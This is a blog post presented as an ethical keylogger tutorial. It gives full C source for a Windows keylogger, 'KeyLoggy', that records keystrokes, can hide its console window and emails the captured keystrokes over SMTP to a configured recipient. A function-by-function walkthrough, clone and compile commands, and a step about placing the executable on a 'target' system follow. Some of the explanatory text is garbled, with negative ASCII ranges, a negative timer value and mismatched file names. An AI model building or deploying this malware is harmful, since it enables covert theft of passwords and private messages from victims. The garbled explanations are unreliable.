A Complete Guide to Making a Keylogger for Ethical Use

Safwan Luban
15 min readSep 23, 2023

--

Photo by Chris J. Davis on Unsplash

Introduction:

Cybersecurity has grown to be a major worry for both individuals and businesses in the current digital era. As a result, ethical hacking and penetration testing have become well-known as effective tools for locating weaknesses and enhancing security precautions. A keylogger is one such instrument that can assist in identifying potential security holes in systems. We will examine how to build a keylogger for moral objectives in this three-part article, placing an emphasis on responsible use and legal compliance.

Understanding the Keylogger:

A keylogger is a program that records keystrokes made on a target system. It can record crucial data like login credentials, messages, and other private information. Keyloggers are a tool used by ethical hackers and security experts to find weaknesses in systems, spread knowledge about potential dangers, and strengthen security precautions. The source code of the KeyLoggy is given below which is a keylogger program written in C language,

#include <stdio.h>
#include <windows.h>
#include <time.h>

// Set to 1 to make the console invisible (0 - False, 1 - True).
#define INVISIBLE_CONSOLE 0

// Set to 1 to suppress console output (0 - False, 1 - True).
#define SILENT_CONSOLE 0

// Time interval in seconds to check for key presses.
#define LISTENER_TIMER 5

// Sleep time in milliseconds between sending data.
#define SENDER_SLEEP_TIME 100

// Name of the log file.
#define FILE_NAME ".txt"

// Email sender defines:
#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "attacker@gmail.com"
#define EMAIL_TO "toothless5143@gmail.com"

void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char* getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);

// Function to verify and set stealth mode.
void verifyStealthMode() {
if (INVISIBLE_CONSOLE) {
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
}

// Function to save the pressed key to the log file.
void savePressedKey(char pressedKey, char fileName[]) {
FILE* file = fopen(fileName, "a+");

fputc(pressedKey, file);
fclose(file);
}

// Function to get the ASCII value of the pressed key between the specified range.
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
int pressedKey = 0;

for (int character = ASCIIValue1; character <= ASCIIValue2; character++) {
if (GetAsyncKeyState(character) == -32767) {
pressedKey = character;
}
}

return pressedKey;
}

// Function to get the file length in bytes.
int getFileLength(char fileName[]) {
FILE* file = fopen(fileName, "rb");

fseek(file, 0, SEEK_END);

int fileLength = ftell(file);

fclose(file);

return fileLength;
}

// Function to read the file contents into a buffer.
char* getBufferFromFile(char fileName[]) {
FILE* file = fopen(fileName, "rb");

int fileLength = getFileLength(fileName);

char* buffer = (char*)malloc(fileLength + 1);

fread(buffer, sizeof(char), fileLength, file);

buffer[fileLength] = '\0';

fclose(file);

return buffer;
}

// Function to override the contents of the file.
void overrideFile(char fileName[]) {
FILE* file = fopen(fileName, "w");

fclose(file);
}

int main() {
verifyStealthMode();

clock_t timer;
clock_t now = clock();

while (1) {
int pressedKey = getPressedKeyBetweenASCII(8, 255);

if (pressedKey) {
savePressedKey(pressedKey, FILE_NAME);

now = clock();
}

timer = (clock() - now) / CLOCKS_PER_SEC;

if (timer > LISTENER_TIMER) {
int fileLength = getFileLength(FILE_NAME);

if (fileLength > 0) {
sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));

overrideFile(FILE_NAME);
}

now = clock();
} else if (!SILENT_CONSOLE) {
system("cls");
printf("Listening...");
printf("\nTime to send next buffer: %ld\n\n", (LISTENER_TIMER - timer));
}
}

return 0;
}

void sendData(SOCKET sock, char data[]) {
send(sock, data, strlen(data), 0);
Sleep(SENDER_SLEEP_TIME);

if (!SILENT_CONSOLE)
printf("\n%s", data);
}

void sendEmail(char server[], char from[], char to[], char buffer[]) {
SOCKET sock;
WSADATA wsaData;
struct hostent* host;
struct sockaddr_in dest;

char data[3000];

// Get socket and destination:
WSAStartup(0x202, &wsaData);

host = gethostbyname(server);

memset(&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host->h_addr, host->h_length);

dest.sin_family = host->h_addrtype;
dest.sin_port = htons(25);

sock = socket(AF_INET, SOCK_STREAM, 0);

// Connect:
connect(sock, (struct sockaddr*)&dest, sizeof(dest));
Sleep(SENDER_SLEEP_TIME);

// Send data packets, such as:
// HELO ip.test.com
// MAIL FROM: <from@gmail.com>
// RCPT TO: <to@gmail.com>
// DATA
// TO: from@gmail.com
// FROM: to@gmail.com
// SUBJECT: Keylogger
// This is a test email from the keylogger.
// .
sprintf(data, "HELO me.somepalace.com\n");
sendData(sock, data);

sprintf(data, "MAIL FROM: <%s>\n", from);
sendData(sock, data);

sprintf(data, "RCPT TO: <%s>\n", to);
sendData(sock, data);

sprintf(data, "DATA\n");
sendData(sock, data);

sprintf(data, "TO: %s\nFROM: %s\nSUBJECT: Keyloggy\n%s\r\n.\r\n", to, from, buffer);
sendData(sock, data);

sprintf(data, "QUIT\n");
sendData(sock, data);

if (!SILENT_CONSOLE) {
printf("\nAll packets have been sent!");
Sleep(5000);
system("cls");
}

// Close socket and cleanup WSA:
closesocket(sock);
WSACleanup();
}

Code Breakdown:

We will utilize the C programming language on a Windows platform to start developing our keylogger. Our keylogger application is built on the code that is provided above. Let’s dissect the code into its component parts to determine what each one does:

  1. Importing Necessary Libraries: Importing necessary libraries like stdio.h, windows.h, and time.h is the first thing the code does. These libraries offer the constants and functions required for handling keyboard input, manipulating files, and timing.
#include <stdio.h>
#include <windows.h>
#include <time.h>

2. Configuring Options: The code includes a number of choices for customization based on unique needs. For illustration:

  • INVISIBLE_CONSOLE (0 or 1): Set this parameter to 1 to make the console window invisible and ensure stealth operation.
// Set to 1 to make the console invisible (0 - False, 1 - True).
#define INVISIBLE_CONSOLE 0
  • SILENT_CONSOLE (0 or 1): Change this setting to 1 to silence console output, which will make the keylogger silently run.
// Set to 1 to suppress console output (0 - False, 1 - True).
#define SILENT_CONSOLE 0
  • LISTENER_TIMER: The amount of time, in seconds, between key press checks.
// Time interval in seconds to check for key presses.
#define LISTENER_TIMER 5
  • SENDER_SLEEP_TIME: The interval between sending data, measured in milliseconds.
// Sleep time in milliseconds between sending data.
#define SENDER_SLEEP_TIME 100
  • FILE_NAME: The name of the log file in which the keystrokes that were recorded will be kept.
// Name of the log file.
#define FILE_NAME "keyloggy.txt"

3. Email Sender Details: For the keylogger’s email capability, this section of the code defines the email sender information. The email address from which the email will be sent, the recipient’s email address, and the SMTP server address are all included. These specifics are necessary to set up an SMTP connection and send the keystrokes that were collected through email.


// Email sender defines:
#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "attacker@gmail.com"
#define EMAIL_TO "toothless5143@gmail.com"
  • SMTP Server Address: The #define preprocessor directive is used to define the SMTP server address. The SMTP server address in the sample code is “gmail-smtp-in.l.google.com”. This means that the keylogger will make a connection to the SMTP server of Gmail in order to send the email. It is important to remember that the SMTP server address can be changed if another SMTP server is preferred.
#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
  • Sender’s Email Address: The #define directive is also used to define the sender’s email address. The email address for the sender is “attacker@gmail.com” in the provided code. The email address from which the message will be sent is specified here. Replace “attacker@gmail.com” with your own working email address to use the keylogger with the sender email address of your choice.
#define EMAIL_FROM "attacker@gmail.com"
  • Recipient’s Email Address: The #define directive is also used to define the recipient’s email address. The recipient’s email address is set to “toothless5143@gmail.com” in the given code. This establishes the email address to which the keystrokes that have been captured will be delivered. Replace “toothless5143@gmail.com” with the legitimate email address of the intended recipient.
#define EMAIL_TO "toothless5143@gmail.com"

4. Function Definitions: The code contains a number of function definitions that carry out various keylogger functionality features. These procedures take care of actions like setting and confirming stealth mode, logging key presses, retrieving key presses within a given ASCII range, handling file operations, transferring data over sockets, and emailing recorded data.

void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char* getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);

5. Breaking Down Functions:

  • verifyStealthMode():
    The verifyStealthMode() function works by checking the value of the INVISIBLE_CONSOLE flag. If the flag is set to true, indicating that stealth mode should be enabled, the function allocates a console window using the AllocConsole() function. It then uses the FindWindowA() function to find the handle of the console window and the ShowWindow() function to hide it from view. This combination of allocating and hiding the console window ensures that the program operates silently without displaying any visible console output.
// Function to verify and set stealth mode.
void verifyStealthMode() {
if (INVISIBLE_CONSOLE) {
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
}
  • savePressedKey(char pressedKey, char fileName[]):
    The savePressedKey() function takes the pressedKey character and the fileName as input. It opens the specified log file in append mode using fopen() with the "a+" mode. This allows the function to write new characters at the end of the existing content. The function then uses fputc() to write the pressedKey character to the file. Finally, it closes the file using fclose(). This process ensures that each pressed key is appended to the log file, preserving the previous recorded keys.
// Function to save the pressed key to the log file.
void savePressedKey(char pressedKey, char fileName[]) {
FILE* file = fopen(fileName, "a+");

fputc(pressedKey, file);
fclose(file);
}
  • getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2):
    The getPressedKeyBetweenASCII() function works by iterating over the range of ASCII values specified by ASCIIValue1 and ASCIIValue2. It checks each key within the range using the GetAsyncKeyState() function, which detects the state of a key at a given moment. If a key is pressed, the corresponding ASCII value is assigned to the pressedKey variable. Finally, the function returns the pressedKey value (if a key was pressed) or 0 (if no key was pressed).
// Function to get the ASCII value of the pressed key between the specified range.
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
int pressedKey = 0;

for (int character = ASCIIValue1; character <= ASCIIValue2; character++) {
if (GetAsyncKeyState(character) == -32767) {
pressedKey = character;
}
}

return pressedKey;
}
  • getFileLength(char fileName[]):
    The getFileLength() function determines the length of a file by following a few steps. Firstly, it opens the specified file in binary mode using fopen() with the "rb" mode. Next, it uses the fseek() function with SEEK_END to move the file pointer to the end of the file. By doing so, the function can determine the current position of the file pointer, which corresponds to the file's length. It retrieves this length using ftell(). Finally, the function closes the file using fclose() and returns the calculated file length.
// Function to get the file length in bytes.
int getFileLength(char fileName[]) {
FILE* file = fopen(fileName, "rb");

fseek(file, 0, SEEK_END);

int fileLength = ftell(file);

fclose(file);

return fileLength;
}
  • getBufferFromFile(char fileName[]):
    The getBufferFromFile() function reads the contents of a file into a buffer for further processing. It starts by opening the specified file in binary mode using fopen() with the "rb" mode. It then determines the file length by invoking the getFileLength() function. Based on the file length, the function allocates memory for the buffer using malloc(). It uses fread() to read the file contents into the buffer. To ensure proper string handling, a null terminator is added at the end of the buffer. Finally, the function closes the file using fclose() and returns the buffer containing the file's contents.
// Function to read the file contents into a buffer.
char* getBufferFromFile(char fileName[]) {
FILE* file = fopen(fileName, "rb");

int fileLength = getFileLength(fileName);

char* buffer = (char*)malloc(fileLength + 1);

fread(buffer, sizeof(char), fileLength, file);

buffer[fileLength] = '\0';

fclose(file);

return buffer;
}
  • overrideFile(char fileName[]):
    The overrideFile() function allows for the complete overwrite of a file, effectively clearing its contents. It opens the specified file in write mode using fopen() with the "w" mode. However, instead of performing any write operations, the function immediately closes the file using fclose(). This process truncates the file, removing all existing data and leaving it empty.
// Function to override the contents of the file.
void overrideFile(char fileName[]) {
FILE* file = fopen(fileName, "w");

fclose(file);
}

6. main() Function:
The main() function acts as the program’s entry point. If the INVISIBLE_CONSOLE option is set, it invokes the verifyStealthMode() method to ensure stealth operation. The savePressedKey() function is used by the main loop to continuously check for key presses and save them to the log file. It also keeps track of the interval since the last data transmission and sends emails when the designated LISTENER_TIMER interval is reached.


int main() {
verifyStealthMode();

clock_t timer;
clock_t now = clock();

while (1) {
int pressedKey = getPressedKeyBetweenASCII(8, 255);

if (pressedKey) {
savePressedKey(pressedKey, FILE_NAME);

now = clock();
}

timer = (clock() - now) / CLOCKS_PER_SEC;

if (timer > LISTENER_TIMER) {
int fileLength = getFileLength(FILE_NAME);

if (fileLength > 0) {
sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));

overrideFile(FILE_NAME);
}

now = clock();
} else if (!SILENT_CONSOLE) {
system("cls");
printf("Listening...");
printf("\nTime to send next buffer: %ld\n\n", (LISTENER_TIMER - timer));
}
}

return 0;
}

The program begins by invoking the verifyStealthMode() function, which sets the stealth mode. When enabled, the program operates silently in the background without displaying a console window.

Next, the program initializes two variables, timer and now, of type clock_t. The now variable is assigned the current clock time using the clock() function.

The code then enters an infinite loop using while (1), continuously monitoring for key presses. It calls the getPressedKeyBetweenASCII() function with a range of -8 to -255, which captures key presses within this specified ASCII range. If a key press is detected and the pressedKey value is non-zero, the program saves the pressed key to a log file using the savePressedKey() function. The now variable is updated with the current clock time to keep track of the last key press.

To measure the elapsed time since the last key press, the program calculates the difference between the current clock time and the value stored in now. This difference is divided by CLOCKS_PER_SEC to obtain the elapsed time in seconds, which is stored in the timer variable.

If the elapsed time (timer) exceeds the negative value of LISTENER_TIMER, the code proceeds to check whether the log file has a non-zero length. If the file is not empty, an email is sent using the sendEmail() function. This function requires the Gmail server details, sender and recipient email addresses, and the contents of the log file obtained through the getBufferFromFile() function. After sending the email, the program clears the log file by calling overrideFile().

If the elapsed time is not greater than the negative value of LISTENER_TIMER and the console is not in silent mode (!SILENT_CONSOLE is true), the program clears the console screen using system("cls"). It then displays a "Listening..." message along with the remaining time until the next buffer is sent.

7. sendData Function:
The sendData function is designed to send data packets over a network socket. Let's break down its implementation:

void sendData(SOCKET sock, char data[]) {
send(sock, data, strlen(data), 0);
Sleep(SENDER_SLEEP_TIME);

if (!SILENT_CONSOLE)
printf("\n%s", data);
}

The sendData function takes two parameters: a SOCKET object named sock and a character array named data. Here's an overview of what each step accomplishes:

send(sock, data, strlen(data), 0);: This line uses the send function to transmit the contents of the data array over the socket connection represented by sock. The send function takes the following parameters:

  • sock: The socket descriptor representing the network connection.
  • data: The buffer containing the data to be sent.
  • strlen(data): The length of the data to be sent, determined using the strlen function.
  • 0: Additional flags to control the behavior of the send function.

In essence, this line sends the data stored in data over the network using the specified socket.

Sleep(SENDER_SLEEP_TIME);: This line suspends the execution of the program for a specified duration, determined by the value of the SENDER_SLEEP_TIME constant. The Sleep function introduces a delay, allowing time for the data to be processed.

if (!SILENT_CONSOLE) printf("\n%s", data);: This conditional statement checks the value of the SILENT_CONSOLE constant. If it is not equal to zero (i.e., true), the function prints the contents of the data array to the console using printf. The \n adds a newline character before printing the data.

Overall, the sendData function facilitates the transmission of data over a network socket, allowing the subsequent function, sendEmail, to utilize this functionality.

8. sendEmail Function:
The sendEmail function is responsible for establishing a connection to an email server and sending an email containing the captured keystrokes. Let's examine its implementation:

void sendEmail(char server[], char from[], char to[], char buffer[]) {
SOCKET sock;
WSADATA wsaData;
struct hostent* host;
struct sockaddr_in dest;

char data[3000];

// Get socket and destination:
WSAStartup(0x202, &wsaData);

host = gethostbyname(server);

memset(&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host->h_addr, host->h_length);

dest.sin_family = host->h_addrtype;
dest.sin_port = htons(25);

sock = socket(AF_INET, SOCK_STREAM, 0);

// Connect:
connect(sock, (struct sockaddr*)&dest, sizeof(dest));
Sleep(SENDER_SLEEP_TIME);

// Send data packets, such as:
// HELO ip.test.com
// MAIL FROM: <from@gmail.com>
// RCPT TO: <to@gmail.com>
// DATA
// TO: from@gmail.com
// FROM: to@gmail.com
// SUBJECT: Keylogger
// This is a test email from the keylogger.
// .
sprintf(data, "HELO me.somepalace.com\n");
sendData(sock, data);

sprintf(data, "MAIL FROM: <%s>\n", from);
sendData(sock, data);

sprintf(data, "RCPT TO: <%s>\n", to);
sendData(sock, data);

sprintf(data, "DATA\n");
sendData(sock, data);

sprintf(data, "TO: %s\nFROM: %s\nSUBJECT: Keyloggy\n%s\r\n.\r\n", to, from, buffer);
sendData(sock, data);

sprintf(data, "QUIT\n");
sendData(sock, data);

if (!SILENT_CONSOLE) {
printf("\nAll packets have been sent!");
Sleep(5000);
system("cls");
}

// Close socket and cleanup WSA:
closesocket(sock);
WSACleanup();
}

The sendEmail function takes four parameters: server[], from[], to[], and buffer[]. Let's go through the steps involved in this function:

SOCKET sock; WSADATA wsaData; struct hostent* host; struct sockaddr_in dest;: These lines declare variables required for socket communication and email server connection.

char data[3000];: This line creates a character array named data to store the email content and other data packets to be sent.

WSAStartup(0x202, &wsaData);: This line initializes the Winsock library, which is necessary for socket communication.

host = gethostbyname(server);: This line retrieves the IP address of the email server specified by the server parameter using the gethostbyname function. The server parameter contains the server's domain name.

memset(&dest, 0, sizeof(dest)); memcpy(&(dest.sin_addr), host->h_addr, host->h_length);: These lines initialize the dest structure and copy the IP address obtained from gethostbyname into the sin_addr field of dest.

dest.sin_family = host->h_addrtype; dest.sin_port = htons(25);: These lines set the address family and port number for the dest structure. In this case, the address family is determined by host->h_addrtype, and the port number is set to 25, which is the standard SMTP port.

sock = socket(AF_INET, SOCK_STREAM, 0);: This line creates a socket using the socket function. The AF_INET parameter specifies the address family as IPv4, and SOCK_STREAM indicates a TCP socket.

connect(sock, (struct sockaddr*)&dest, sizeof(dest)); Sleep(SENDER_SLEEP_TIME);: These lines establish a connection to the email server specified by dest using the connect function. The (struct sockaddr*)&dest parameter casts the dest structure to the required socket address structure.

sprintf(data, "HELO me.somepalace.com\n"); sendData(sock, data);: This line prepares the data packet to be sent and stores it in the data array using sprintf. The packet contains the HELO command followed by the sender's domain name. The sendData function is then called to send this packet over the socket.

Similarly, the following lines prepare and send additional data packets using the sendData function:

  • sprintf(data, "MAIL FROM: <%s>\n", from); sendData(sock, data);: Specifies the sender's email address.
  • sprintf(data, "RCPT TO: <%s>\n", to); sendData(sock, data);: Specifies the recipient's email address.
  • sprintf(data, "DATA\n"); sendData(sock, data);: Indicates the start of the email content.
  • sprintf(data, "TO: %s\nFROM: %s\nSUBJECT: Keyloggy\n%s\r\n.\r\n", to, from, buffer); sendData(sock, data);: Constructs the email content, including the recipient, sender, subject, and the captured keystrokes stored in buffer.
  • sprintf(data, "QUIT\n"); sendData(sock, data);: Sends the QUIT command to terminate the connection. After sending all the packets, the code checks the value of SILENT_CONSOLE. If it is not zero, it prints a success message to the console, waits for 5 seconds, and clears the console screen.

Finally, the code closes the socket using closesocket and cleans up the Winsock library using WSACleanup.

Installation:

To utilize Keyloggy, an open-source keylogger, please follow the step-by-step instructions below:

  1. Obtain the source code:
  • You can either clone the Keyloggy repository using the following command:

┌──(toothless5143@kali)-[~]
└─$ git clone https://github.com/Toothless5143/KeyLoggy.git && cd KeyLoggy
  • Alternatively, download the source code package from the repository and extract it to a local directory.

2. Open the code in your preferred C compiler or integrated development environment (IDE).

3. Build the project:

  • Use your C compiler or IDE to build the project, generating the executable file.

4. Ensure dependencies are installed:

  • Verify that the required dependencies (windows.h, time.h, and winsock2.h) are available.
  • If any dependencies are missing, install them using the package manager provided by your development environment.

5. Customize configuration options:

  • Open the source code and locate the configuration options.
  • Customize the options according to your preferences, such as the log file name, email server, sender and recipient addresses, and other settings.

6. Obtain the SMTP server domain for sending emails via Gmail:

  • Open a web browser and navigate to the Gmail website (https://www.gmail.com).
  • Log in to your Gmail account or create a new one if needed.
  • After logging in, click on the gear icon in the top right corner and select “Settings” from the dropdown menu.
  • In the Settings page, go to the “Accounts and Import” or “Accounts” tab.
  • Look for the “Send mail as” or “Send mail from another address” section, which displays the email addresses you have configured to send emails from.
  • Identify the email address you want to use as the sender address in the Keyloggy code.
  • The SMTP server domain for Gmail is typically in the format smtp.gmail.com.
  • Replace the current value of GMAIL_SERVER in the code (“gmail-smtp-in.l.google.com”) with the SMTP server domain obtained earlier (“smtp.gmail.com”).

7. Compile the code:

  • Compile the code to create the Keyloggy executable file.
  • If you are using GCC, you can compile the code with the following command:
┌──(toothless5143@kali)-[~]
└─$ gcc -o keyloggy keyloggy.c

8. Secure the executable:

  • Ensure that the compiled executable file is placed in a secure location on the target Windows system.

By following these steps, you will be able to install and configure Keyloggy for capturing keystrokes and sending them via email. It is important to note that the use of keyloggers without proper authorization is illegal and unethical.

Signing out,
- Toothless

--

--